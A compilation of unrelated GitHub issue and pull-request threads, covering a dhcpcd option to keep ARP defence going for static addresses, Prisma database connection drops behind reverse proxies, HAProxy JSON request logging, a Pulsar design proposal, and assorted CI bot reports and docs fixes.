Multiple ARP Probes within DEFEND_INTERVAL cause statically configured interfaces to be pulled down

Setup: A very large network with statically configured devices.
Description: There are multiple devices on the network that send ARP probes. If 2 requests happen to be within the DEFEND_INTERVAL, the interface is brought down as a conflict resolution mechanism. This opens all our devices to a DoS attack.
Issue: We believe that this behavior is not in conformance with the RFC. Specifically section 2.4 (c).
https://datatracker.ietf.org/doc/html/rfc5227#section-2.4
(c) If a host has been configured such that it should not give up its
address under any circumstances (perhaps because it is the kind
of device that needs to have a well-known stable IP address, such
as a link's default router or a DNS server) then it MAY elect to
defend its address indefinitely.  If such a host receives a
conflicting ARP packet, then it should take appropriate steps to
log useful information such as source Ethernet address from the
ARP packet, and inform an administrator of the problem.  The
number of such notifications should be appropriately controlled
to prevent an excessive number of error reports being generated.
If the host has not seen any other conflicting ARP packets
recently, within the last DEFEND_INTERVAL seconds, then it MUST
record the time that the conflicting ARP packet was received, and
then broadcast one single ARP Announcement, giving its own IP and
hardware addresses.  Having done this, the host can then continue
to use the address normally without any further special action.
However, if this is not the first conflicting ARP packet the host
has seen, and the time recorded for the previous conflicting ARP
packet is within DEFEND_INTERVAL seconds, then the host MUST NOT
send another defensive ARP Announcement.  This is necessary to
ensure that two misconfigured hosts do not get stuck in an
endless loop flooding the network with broadcast traffic while
they both try to defend the same address.
The Fix: We have a fix where we just log the conflict and keep holding the address when multiple conflicts happen within a defend interval. We believe this behavior is more in conformance with the RFC.
I have attached our patch, please advice if this patch is suitable for a merge back into upstream.
dhcpcd-Ignore-ARP-probes-for-statically-assigned-IP.patch

Well, you have 3 sections, a b and c. All are MAY. Basically the implementer can pick one.
a is stop everything.
b is defend and then stop on fail - this is what dhcpcd currently does.
c is notify and carry on - this is what you want.
You can disable ARP by adding noarp to /etc/dhcpcd.conf to get the stable address - you lose the defense, but as ARP is not checked you don't lose the address.
Neither solution actually helps because if two hosts have the same IP address there is no guarantee you're talking to the host you really want.
I wonder if this is better served by adding an option to ARP to say "keep the address if defense fails" rather than just relying on a static binding because you could also have a reservation on the DHCP server for a static address as well.

Thanks @rsmarples.
I will go ahead with your suggestion of "keep the address if defense fails" and we, for our application, can then apply the option only when interfaces are statically configured. Do you have any suggestions what that option might be called? arpdefenceretainip - just made that up but please advice if you have a better one. Thanks

arp_persistdefence I think. It has more meaning than simply persisting the address.
You can set DHCPCD_ARP_PERSISTDEFENCE (1ULL << 6) in if-options.h for the option as that's free.
Don't forget to update the man page and bump it's date!

As a side note, if you use NetBSD then you have ARP defence in the kernel and the address is marked IN_IFF_DUPLICATED rather than being deleted which is the best you can possibly have. This allows existing connections to work and future ones not to, same as for IPv6 addresses.

@rsmarples, I am unable to create a pull request. Is it possible for you to provide me with access to the repo to create a branch and create a pull request? Thanks.

No.
Using GitHub, you fork this repository to your account and then clone it. Make a branch and changes there and then push to GitHub. You can then created a pull request from there.

Here is the pull request:
https://github.com/NetworkConfiguration/dhcpcd/pull/273
Thanks.

Thanks @rsmarples.
I have a question from my colleague. Do you think a flag like 'arp_nopersistdefence' will have any use? Possibly can be used to enable default defence behaviour?

That would only have a use of you wanted that behaviour in the global scope and wanted to negate it for a specific interface. Maybe someone could use it, but im not that sure of it's use as this new flag is pretty niche as it is.
Still, if you want to add it and document that it's the default behaviour I dont see any issue.


refactoring the EFK check

@juanvallejo This is far from ready, but you can see where I'm going. Will be more updates, tests, and some commits that won't end up here.

Thanks!


fixes #993

Summary
Hub Plugin heading level CSS corrected for H2 and H3
Issues resolved
Fix #993

Checklist:

[x] Commit message & atomicity checked
[ ] Documentation
[x] Spellchecked my updates
[x] Ready to be merged

Sorry, I think there was some misunderstanding. The issue is not that the heading levels are incorrect - they are correct.
The issue is that the CSS styling applied to the heading levels results in H2 and H3 being visually indistinguishable.
The correct fix is to adjust the CSS to cause H2 to be bigger/bolder than H3, so they are in the correct visual hierarchy.

oh sorry my bad. Let me update the PR.

Hi @knrt10 I think you need to add your CSS commit to this PR.
Also note that as I was reviewing your previous work, I realized that this heading level styling issue affects all parts of the Docs site, not only the Hub - I updated the issue https://github.com/Kong/docs.konghq.com/issues/993 to clarify that. You can see an example of incorrect heading styling on this non-Hub page for example https://docs.konghq.com/0.14.x/cli/#available-commands

Solved by #1044


[Proposal] Switch to GraphQL Playground

Would it be an issue to switch to using Prisma's GraphQL Playground instead of GraphiQL? I think it looks better, at least. If not officially supported, any ideas on how I can switch it in?

I forgot to mention how AMAZED I am at all the work you've done, devotion to the community and the sheer number of packages that you have!

Thanks! Appreciate it. I thought I had responded to this via email, but I guess it didn't send.
I agree, GraphQL Playground looks better, but I simply didn't know it existed at the time. The usage seems pretty similar, though, so I could probably take a pull request to add this to angel_graphql.

As of<EMAIL_ADDRESS>you can now use the graphQLPlayground(...) request handler, which has identical usage to graphiql(...):
app.all('/graphql', graphQLHttp(GraphQL(schema)));
app.get('/graphiql', graphiQL());
app.get('/playground', graphQLPlayground());

https://pub.dev/packages/angel_graphql/versions/2.0.0-beta

Awesome! Thank you


⚠ Secret Website 3 has degraded performance

In 5e5feb8, Secret Website 3 ($SECRET_WEBSITE_3) experienced degraded performance:

HTTP code: 200
Response time: 3135 ms

Resolved: Secret Website 3 performance has improved in 165dbb2.


Error in connector: Error querying the database: connection closed

I am trying to execute photon commands but I am left with this error. Whenever the server starts the first few photon invocations are executed without problems. Yet a few minutes later the following error is thrown:
Invalid `photon.()` invocation in /Users/soosap/project/node_modules/nexus-prisma/src/builder.ts:196:18                                                           │
Reason: Error in connector: Error querying the database: connection closed                 │
  at PhotonFetcher.<anonymous> (/Users/soosap/project/node_modules/@generated/photon/index.js:51:27)                                                            │
  at Generator.throw (<anonymous>)                                                       │
  at rejected (/Users/soosap/project/node_m│
odules/@generated/photon/index.js:6:65)                                                                              │
  at process.internalTickCallback (internal/process/next_tick.js:77:7)

I have the following setup in my server index.ts:
import { Photon } from '@generated/photon';
import schema from './schema';

const photon = new Photon();

const app = new GraphQLServer({
  schema,
  context: async (request) => {
    return {
      ...request,
      photon,
    };
  },
  middlewares: [ authenticate ],
});

app.start({
  port: PORT,
  playground: process.env.NODE_ENV === 'production' ? false : PLAYGROUND_ENDPOINT,
  endpoint: GRAPHQL_ENDPOINT,
});

level: 'error',
application: 'prisma',
date: 2019-11-02T21:34:51.999Z }
2019-11-02T21:34:52.489Z engine:log { message: 'postgres connection error: connection closed',

Turning on debug points me to a potential source of the problem, namely postgres. But not sure what exactly the problem is and why the connection closes.

Turns out this is a problem only if my postgres instance sits behind a reverse proxy. Switched to a local Docker for Mac postgres instance and it works as expected. Previously, I tried to connect to a postgres instance sitting in my Kubernetes cluster (i.e. a production deployment). I was hoping to do the migrations from my local machine pointing to the production k8s postgres instance exposed through a reverse proxy. Feel free to close, if there is nothing on your end that can be done here.

Do you feel this was a bug in Prisma or it was an implication of your reverse proxy?
Also, what kind of reverse proxy you were using?

Hi sorry for the late reply. I am using HAProxy in Kubernetes. If I expose the postgres database through a reverse proxy, i.e. at<EMAIL_ADDRESS>and at the same time try to connect to that endpoint from the prisma app running on my local machine... then a connection is first established, but after a couple of minutes the connection is lost. In such cases you would have to restart the prisma2 app and trigger a reconnect.
I gave up on the idea to have a dev postgres instance running in my kubernetes cluster. However, I am still able to use that technique to trigger migrations etc. locally for a postgres instance deployed in the cloud. The connection is not lost immediately, but only after a couple of minutes. For development I am now using a local Docker for Mac based postgres instance. With it I am not experiencing any connection-lost issues. For that reason, I think it is safe to assume that this is rather a reverse proxy configuration issue und less of a prisma2 problem.

@pantharshit00 Do we maybe still try to want to understand this better and find a possible workaround? @soosap might not be the only person using such a setup.

If @soosap can share the configuration, I can try to debug this. But I am pretty confident that this is not a photon issue

Exactly, which is why it makes sense to understand the situation better. Maybe there are other way Photon can actually help out here instead of just failing.

OK guys let me provide you with more information and log messages. Actually when I was trying today to connect to postgres.myco.co using Prisma2 (i.e. prisma2 dev) I get the following error message:
Error: Could not connect to database: Starting a postgresql pool with 9 connections.
[2019-11-28T19:00:17Z ERROR migration_engine] Error connecting to the database

On the other hand, third party clients (i.e. SQLPro) are capable of connecting to that very same host.

It also means that I no longer see a "Connection Lost" error message.
In terms of setup: I run an HAProxy on a Kubernetes cluster. However, I do not manage the HAProxy config myself. Instead I am using a kubernetes controller called voyager which dynamically stitches together the config file depending on services it finds in the cluster. To be more precise I am actually using a AWS ELB at the very front. That routes traffic to HAProxy and that eventually directs the traffic to the Postgres docker container. Let me know if there is anything else I can provide you with.

@soosap Can you please add &sslaccept=accept_invalid and try this once?
Right now our connection policy is pretty strict and that might explain why other clients are able to connect while prisma is unable to perform a connection. See https://github.com/prisma/prisma2/issues/884

I switched from appscode/voyager to traefik for ingress routing in my kubernetes cluster. Using traefik I no longer have the Error in connector: Error querying the database: connection closed issue. Instead I receive the undefined target="exit" error that is popping up in a number of places. See https://github.com/prisma/photonjs/issues/357
I guess we can revisit this issue once #357 has been resolved.

@soosap Since #357 is fixed, can you please try this again and see what the actual error is? Thanks.

Ping @soosap

We are experiencing exactly the same symptoms with a MySQL Galera cluster behind a TCP loadbalancer (no SSL):
Error in connector: Error querying the database: Connection to the server is closed.
     at PrismaClientFetcher.request (./node_modules/@prisma/client/runtime/index.js:1:47490

At the same time prisma2 migrate up --experimental runs just fine.  An ideas what could be the cause?

Same here (prisma2-preview024):
 Invalid `prisma.user.findOne()` invocation in
api_1            | /api/[...]
api_1            |
api_1            | Error in connector: Error querying the database: Connection to the server is closed.
api_1            |     at PrismaClientFetcher.request (/api/node_modules/@prisma/client/runtime/index.js:1:47799)
api_1            |     at runMicrotasks (<anonymous>)
api_1            |     at processTicksAndRejections (internal/process/task_queues.js:97:5)

Here the database (MariaDB) runs inside a docker container behind a ngninx reverse proxy, configured with docker-compose:
// docker-compose.yaml
version: '3.6'

services:
  nginx-proxy:
    image: jwilder/nginx-proxy
   [...]
  api:
    // node.js container with prisma2
   [...]
  db:
    image: mariadb:10.1
   [...]

First of all everything is fine and the PrismaClient works as expected. The error occurs after several minutes of inactivity. The database is still available (I can connect directly to it and perform some queries), so the docker configuration should be fine.

@cimchd You can please share that complete docker-compose file so that I can try the exact setup locally 🙏 ?

@cimchd You can please share that complete docker-compose file so that I can try the exact setup locally 🙏 ?

Sure, I will set up a test repo and give you link. Give me some time...

@pantharshit00 We created a test repo in our team:
https://github.com/lboecker/prisma-client-js-issue-283
The error occured without our ngninx-proxy after 15 minutes, so we simplified the repo as much as possible. We only left an express-server container (api) and the MariaDB container (db) in it. Hope you can reproduce the error with this repo.

@pantharshit00 @janpio
As long as we have this error: is there a quick workaround to restart the prisma db connection each 10-15 minutes, or something else?

@cimchd Sorry for the late reply here.
I think we fixed a pooling issue recently. Please try again with 2.0.0.-beta.1
It has some breaking changes related to relation so you might need to introspect your database to get the updated schema

@cimchd Sorry for the late reply here.
I think we fixed a pooling issue recently. Please try again with 2.0.0.-beta.1
It has some breaking changes related to relation so you might need to introspect your database to get the updated schema

We swicthed to the beta now and the error seemd to be gone :-) Thank you for your support.

Ok, going to close this one now. @soosap Please reply here if you are still facing this issue


Allow operator methods to be memoized

Memoizing operators will raise a syntax error due to the operator symbols
being injected into the eval'd code. We can allow operator memoization by
using some mangled names instead. To (hopefully) avoid clashing with any
existing method names, we've added some underscores to the names and
upper-cased them.

Yeah, looks like older versions of Ruby aren't fans of that hash syntax. I'll fix these up and reroll shortly, shouldn't be a problem.

Re-rolled and fixed

Very nice!  @matthewrudy Please review.

Any chance on this getting merged, @matthewrudy?

ping @matthewrudy 👍

Been a year now, figured I'd check in.

It's that time of year again. Just checking in on my PR.

@dark-panda Matthew, the owner of this repo, died in 2019.  I just found out.  I have created a new org in his memory, called memoist.  I'm adding you to it (don't have to accept if you'd rather not).

FYI: Added this alert to the new memoist repo

[!IMPORTANT]
Recommendation
Consider using MemoWise instead, as it is maintained, fully tested, provides thread safety guarantees, and is much, much faster.
Other Alternatives
In case you need a tool with this feature set that is currently maintained, check out:

https://github.com/makandra/memoized
https://github.com/honzasterba/memoist
https://github.com/tycooon/memery

[!TIP]
Seriously though, read the important note above.

[!WARNING]
If you must continue - be aware that this is unmaintained software.


[PIP][design] PIP-278: Support pluggable topic compaction service

Motivation & Modifications
Start a PIP: Support pluggable topic compaction service
Documentation

[ ] doc
[ ] doc-required
[x] doc-not-needed
[ ] doc-complete

It's better not to use an implementation class in the interface. Why do you use PositionImpl instead of Position?

Oh, Because when implementing it, I found that the caller needs to compare the Position.
Please see: https://github.com/coderzc/pulsar/blob/feat_compactedService/pulsar-broker/src/main/java/org/apache/pulsar/broker/service/persistent/PersistentSubscription.java#L1386

I push PR for implementation: https://github.com/apache/pulsar/pull/20626

the caller needs to compare the Position.

It cannot explain why must we return a PositionImpl instead of Position.

the caller needs to compare the Position.

It cannot explain why must we return a PositionImpl instead of Position.

Just PositionImpl implemented the Comparable interface, if return Position we need to strong transform  to PositionImpl

The Class Diagram should be updated since you have changed the method name

Thanks, I fixed it.

@Anonymitaet please help take a look at this proposal. thanks a lot!
:)

@BewareMyPower Why approve if the vote hasn't been concluded?

@asafm I see @codelipenghui and @mattisonchao approved before so I think it's equivalent with a +1 and I also voted a binding +1 in the ML after I approved. Before asking me, I think you should ask them first.
From https://github.com/apache/pulsar/tree/master/pip, you can see

When the vote is closed, if the outcome is positive, ask a PMC member (using voting thread on mailing list) to merge the PR.

I think it's okay to approve the PIP PR before the vote is closed, but we should only merge the PIP PR after the vote is closed.

@BewareMyPower Ok.

Please bear in mind if for one PIP we have 0.5mb image, imaging the size over time in the repo.
It's forever there.
We could have used https://mermaid.js.org/syntax/classDiagram.html

Please bear in mind if for one PIP we have 0.5mb image, imaging the size over time in the repo. It's forever there.
We could have used https://mermaid.js.org/syntax/classDiagram.html

@asafm Thanks for reminding, I remove pip images and use mermaid instead: https://github.com/apache/pulsar/pull/20682

@coderzc https://github.com/apache/pulsar/pull/20684


API for live data

Hi ,
Do we have any API to get live data other than live streaming. I am thinking I will store 1min data for more than 1 tickers at same time , in pandas dataframe or in SQL and calcualte the SMA , VWAP and other indicators and place orders based on some criteria.
Also I see some kind of delay data in my streaming compare to other brokers ... Is that I have to do some setting in webull??
Please guide..
Thanks,
Manoj

@manojjenago
I don't recommend it.
https://github.com/tedchou12/webull/issues/202#issuecomment-795650152
If you are looking for data, you might as well buy it from data providers that already support API.


Logs for requests/responses are valid json objects

Signed-off-by: Omar Khasawneh<EMAIL_ADDRESS>Description
This change will cause the log file entries to be valid json objects for each of the logs and responses.
Logs include: Requests (timestamp, uri, method, body, headers) and Responses (response time, body, headers, status code)
Example log entry:
{ "request": { "timestamp":1675978992, "uri":"\/noldor\/_doc\/1", "method":"PUT", "body":"{\"name\": \"Finwe\"}", "headers": "{#7B#22name#22: #22Finwe#22#7D}" }, "response": {"response_time_ms":576, "headers":"{#7B#22_index#22:#22noldor#22,#22_type#22:#22_doc#22,#22_id#22:#221#22,#22_version#22:1,#22result#22:#22created#22,#22_shards#22:#7B#22total#22:2,#22successful#22:1,#22failed#22:0#7D,#22_seq_no#22:0,#22_primary_term#22:1#7D}", "body":"{\"_index\":\"noldor\",\"_type\":\"_doc\",\"_id\":\"1\",\"_version\":1,\"result\":\"created\",\"_shards\":{\"total\":2,\"successful\":1,\"failed\":0},\"_seq_no\":0,\"_primary_term\":1}", "status_code": 201 } }
The entries will still be valid json objects when non-english characters are part of a request/response, and will show as unicode characters.
An issue with this log-format (that can't be avoided per my research about it), is that the body of a request/response will still be included within it's respective headers section.
It's important to capture all known and unknown headers, and the only way to do that is with the variable %hr and by HAProxy's default, it includes the body.
Issues Resolved
https://opensearch.atlassian.net/browse/MIGRATIONS-953
Check List

[ ] New functionality includes testing

[ ] All tests pass, including unit test, integration test and doctest

[ ] New functionality has been documented
[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Does your example above come from a real request?
It doesn't have any headers except for the body, so it's tough to tell 1/ whether it's working as expected, and 2/ what the formatting of the headers looks like. Could you add more examples that show that?

Does your example above come from a real request?
It doesn't have any headers except for the body, so it's tough to tell 1/ whether it's working as expected, and 2/ what the formatting of the headers looks like. Could you add more examples that show that?

My mistake on that part, that example is from before I added the second commit to this PR, so that's not considered a valid example, I'll update that, thanks for catching that!

Can you also clarify this comment in the text of the PR:

It's important to capture all known and unknown headers, and the only way to do that is with the variable %hr and by HAProxy's default, it includes the body.

It's not by HAProxy's default, it's because of the http-request capture req.body id 0 line that "captures" the body and places it at index 0 of the headers. The problem is that we haven't yet found another way to capture the body.

Due to not being able to json-escape the headers in the log-format, I'll be removing the headers entirely until I'm able to do so. The reason being is that the headers sometimes contain certain characters that break our ability to read the entire entry.
A task to investigate that for a solution that has been created: https://opensearch.atlassian.net/browse/MIGRATIONS-993

Codecov Report

Merging #101 (e651753) into main (7660fe3) will not change coverage.
The diff coverage is n/a.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@           Coverage Diff           @@
##             main     #101   +/-   ##
=======================================
  Coverage   91.74%   91.74%
=======================================
  Files          24       24
  Lines        1115     1115
  Branches      110      110
=======================================
  Hits         1023     1023
  Misses         80       80
  Partials       12       12

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


ui/wifiManager: remove obsolete methods without definition.

Is there some kind of static analysis or compiler flag we can add for this? Would be nice if openpilot just didn't build in this case.


Added authorization template

What this PR does / why we need it:
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
Special notes for your reviewer:
Release note:

Authorization adapter template.
Any authorization module needs to answer the question: Is a “subject” allowed to do an “action”.

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
568e446d97d44d394de57b0deff7bbb04e134470
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

This looks fine as a temporary state. We're just about to check in support for submessages in Mixer, and we should update this template when that happens.
@guptasu is working on submessage support, he can comment on when he thinks the functionality will land.

Hi @mangchiandjjoe I am hopeful that by end of next week, the sub messages will be done and documented.

Thank you for your update.

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
7e4d3544236257bd41da797adf7e4ac08491a17d
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

Are we going to merge this change now or wait for the sub messages update?

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
7e4d3544236257bd41da797adf7e4ac08491a17d
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@geeknoid @guptasu @liminw Any idea when do we want to merge this change?

@mangchiandjjoe good news. I just submitted a PR that supports generation of code with submessages. That should make your PR work with submessages, except the change in the template/BUILD file that you have. So, if you remove the template/BUILD file and leave the other 2 files and modify the template definition to use submessages, you should be fine.
Also, I am about to send out the last PR that finishes the submessage work. After that you can even include the changes in template/BUILD and should be able to build the Mixer with your template.

@guptasu Great news!! Thank you for the quick update. :)

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
2c0dd0e212c29b1aca71ae715de394c5c1dab18c
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@mangchiandjjoe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
e2f4264e189bfa46ec5380b9fd8edd5d71d3e0d2
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

I am closing the pr for now


Features / Require authentication

Will be rebased when #57 will be merged. Resolves #23.
This pull request adds a new private mode, which makes all the endpoints (except /api/login and /api/signup) require authentication. This mode is enabled by default, but can be disabled by setting environment variable FORUM_IS_PRIVATE to false.
This mode might be removed after passing real-time-forum, because social-network is allowed to be public.
This mode is enabled in main, so tests still test all endpoints like they are public. There's also a new private_mode_test file that tests if private mode works as expected.

I've rebased the branch onto main. It's ready for review.

When logout you can still surf thru the pages

Error 500 when go to users/..
*dev mode


B-17662 Add "return to move" link to profile page

B-17662 After Saving Profile Edit Provide MM Customer with Way to Return to Review Page
Summary
In order to help the customer navigate after editing profile information, a "Return to Move" link has been added to the profile page. This link returns them to the main page "/", so that they can continue their operation or view existing moves. This was used instead of automatically redirecting them to avoid additional routing confusion, and to allow the customer to check their information after it has been saved.
The link was created by importing links and general routes, and adding them to the profile page. Tests were created on the profiles test page, as well.
Verification Steps for the Author
These are to be checked by the author.

[ ] Tested in the Experimental environment (for changes to containers, app startup, or connection to data stores)
[x] Have the Agility acceptance criteria been met for this change?

Verification Steps for Reviewers
These are to be checked by a reviewer.

[ ] Has the branch been pulled in and checked out?
[ ] Have the BL acceptance criteria been met for this change?
[ ] Was the CircleCI build successful?
[ ] Has the code been reviewed from a standards and best practices point of view?

How to test

Access the application as a client user
Login as a new user
Create your profile
When prompted to upload orders, click Edit Profile instead
Optionally click return to move here or, continue to edit profile
Save profile information
Click return to move.

Frontend

[ ] There are no aXe warnings for UI.
[ ] This works in Supported Browsers and their phone views (Chrome, Firefox, Edge).
[ ] There are no new console errors in the browser devtools.
[ ] There are no new console errors in the test output.
[ ] If this PR adds a new component to Storybook, it ensures the component is fully responsive, OR if it is intentionally not, a wrapping div using the officeApp class or custom min-width styling is used to hide any states the would not be visible to the user.
[ ] This change meets the standards for Section 508 compliance.

Screenshots

Test coverage on client failed.
Last run: Thu 02 Nov 2023 05:47:36 PM UTC
Refer to this report to see coverage details for the client app.
Documentation for test coverage can be found at this link.

Warnings

:warning:
Please add the JIRA issue key to the PR title (e.g. MB-123)

  Generated by :no_entry_sign: dangerJS against 06fe31c2ff51f891e3d472477677eeb30c0b6f18

verified 508 compliance g2g

After clicking review and submit there is no option to return back to the move. Just double checking since it's similar functionality was this part of the request or only after profile update? Asking out of pure curiosity. Tested locally and change is g2g.

Profile.jsx has 100% code coverage, interesting..

After clicking review and submit there is no option to return back to the move. Just double checking since it's similar functionality was this part of the request or only after profile update? Asking out of pure curiosity. Tested locally and change is g2g.

Yes, this is intentional. The Review Your Details page is actually an info page based upon the move itself, not the profile page. If you hit edit there next to profile, the button will be present as you'll be back on the profile page. I don't see a need to return to the original page once you're in the move's Review Your Details page, but if that's something requested it could be completed on a separate ticket.

Checks passed once main was merged back into branch making it current. This also explains why the client coverage passed on my local but not here at first.

Discussed and validated, possibly satisfies AC. Awaiting feedback from RTE Lisa for merge.
Possible deviation: AC:
We need to route them to review page to proceed in the move process.

Then I am routed back to the review page

This provides the option of routing rather than auto routing.

This has been discussed in the team meeting and it's a change we wanted to make to the item in agility too, regardless, awaiting feedback.

i think the AC should be updated-to be more broad given the discussion in the team scrum, this approach was acceptable- given that if the govt didnt like it, we coukd change without this approach being detrimental to the user flow


[New Port Request] ThorsSerializer

Library name: ThorsSerializer
Library description:
Yet another JSON/YAML/Binary serialization library for C++.
Unlike other libraries, this one does not require you to build DOM of your object before serialization. Using a declarative C++ style you define what C++ classes (and members) you want to serialize "ThorSerializer" will generate the appropriate code automagically.
Source repository URL: https://github.com/Loki-Astari/ThorsSerializer

If you wish to add this port in the future, you can reopen this issue, but we're closing it for now.


changed: Join-Path to make the scripts more cross-platform compatible.

I tried running the cloning scripts on macOS but the scripts failed due to the hardcoded path separator in the scripts:
.: /Users/me/Sites/SpaceCloner/CloneSpaceProject.ps1:28
Line |
  28 |  . ($PSScriptRoot + ".\src\Core\Logging.ps1")
     |    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | The term '/Users/me/Sites/SpaceCloner.\src\Core\Logging.ps1' is not recognized as a name of a cmdlet, function,
     | script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is
     | correct and try again.

The changes in this PR uses Join-Path to ensure that path separators work regardless of the OS on which these scripts are running.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Build Failed with 0.72.4

Hey i am getting this error :
FAILURE: Build failed with an exception.

What went wrong:
A problem occurred configuring project ':react-native-mlkit-ocr'.

Failed to notify project evaluation listener.
Could not create task ':react-native-mlkit-ocr:compileDebugAndroidTestKotlin'.
Cannot use @TaskAction annotation on method AbstractKotlinCompile.execute() because interface org.gradle.api.tasks.incremental.IncrementalTaskInputs is not a valid parameter to an action method.
KotlinJvmAndroidCompilation with name 'debugAndroidTest' not found.

Added this kotlinVersion = "1.8.22"


Microchip: MEC172x: watchdog driver

Update watchdog driver to support MEC172x device
Signed-off-by: Jay Vasanth<EMAIL_ADDRESS>

Request to review this pull request


Some dependencies are not compatible with python 3

When I run pip install . in the repo using python 3 environment.
 These libraries are only used in python2.

I mean you should fix README

Why?
Python3 is supported. Those libraries (subprocess32, functools32) doesn't matter.
The warning you saw is intended.

ok


ul css changes

Made the ul li font size the same as the paragraphs, and gave them more spacing between each dot, and made the dots squares.
@jread-usgs ?

@mwernimont can you plop in a screen shot?


Fonts aren't presented on the production build

The Media directory isn't presented on the production build

It looks like this build has fixed the issue


Standardize anonymous functions to arrow functions

Different styles are used throughout the code. Let's standardize to arrow functions.

Closed by #37


DocsArchive-<IP_ADDRESS>Auto archive content

Please don't merge this PR until target archive repo PR https://github.com/OPS-E2E-PPE/docs-archive-test-target/pull/250 is merged into live branch.
Auto archive content to https://github.com/OPS-E2E-PPE/docs-archive-test-target.git

Docs Build status updates of commit 652edd2:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error]

Cannot sync git repo to specified commit because branch Release_Archive_master_2020-01-07-16-00-53 has been deleted or has been force pushed: fatal: couldn't find remote ref refs/heads/Release_Archive_master_2020-01-07-16-00-53

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


first generation of kube-scheduler api

Initial generation of kube-scheduler api reference.

/cc @alculquicondor

Preview:
https://deploy-preview-19903--kubernetes-io-master-staging.netlify.com/docs/reference/scheduling/kubescheduler-api/

This is a TEST.

Looks good to me.

Closing as there appears to be less interest (pending the adoption of the new theme).
/close


YARN-6538. Inter Queue preemption is not happening when DRF is configured in extreme resource scale cases.

How was this patch tested?
Extended the UTs and run the existing ones.
For code changes:

[ ] Does the title or this PR starts with the corresponding JIRA issue id (e.g. 'HADOOP-17799. Your PR title ...')?
[ ] Object storage: have the integration tests been executed and the endpoint declared according to the connector-specific documentation?
[ ] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?
[ ] If applicable, have you updated the LICENSE, LICENSE-binary, NOTICE-binary files?

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 50s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+0 :ok:
detsecrets
0m  0s

detect-secrets was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
17m 54s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
25m 49s

trunk passed

+1 :green_heart:
compile
9m 58s

trunk passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
compile
8m 51s

trunk passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
2m  5s

trunk passed

+1 :green_heart:
mvnsite
2m 55s

trunk passed

+1 :green_heart:
javadoc
2m 33s

trunk passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
javadoc
2m 47s

trunk passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
4m 36s

trunk passed

+1 :green_heart:
shadedclient
22m 24s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 32s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
1m 35s

the patch passed

+1 :green_heart:
compile
9m 12s

the patch passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

-1 :x:
javac
9m 12s
/results-compile-javac-hadoop-yarn-project_hadoop-yarn-jdkUbuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04.txt
hadoop-yarn-project_hadoop-yarn-jdkUbuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04 with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04 generated 3 new + 721 unchanged - 0 fixed = 724 total (was 721)

+1 :green_heart:
compile
8m 42s

the patch passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

-1 :x:
javac
8m 42s
/results-compile-javac-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07.txt
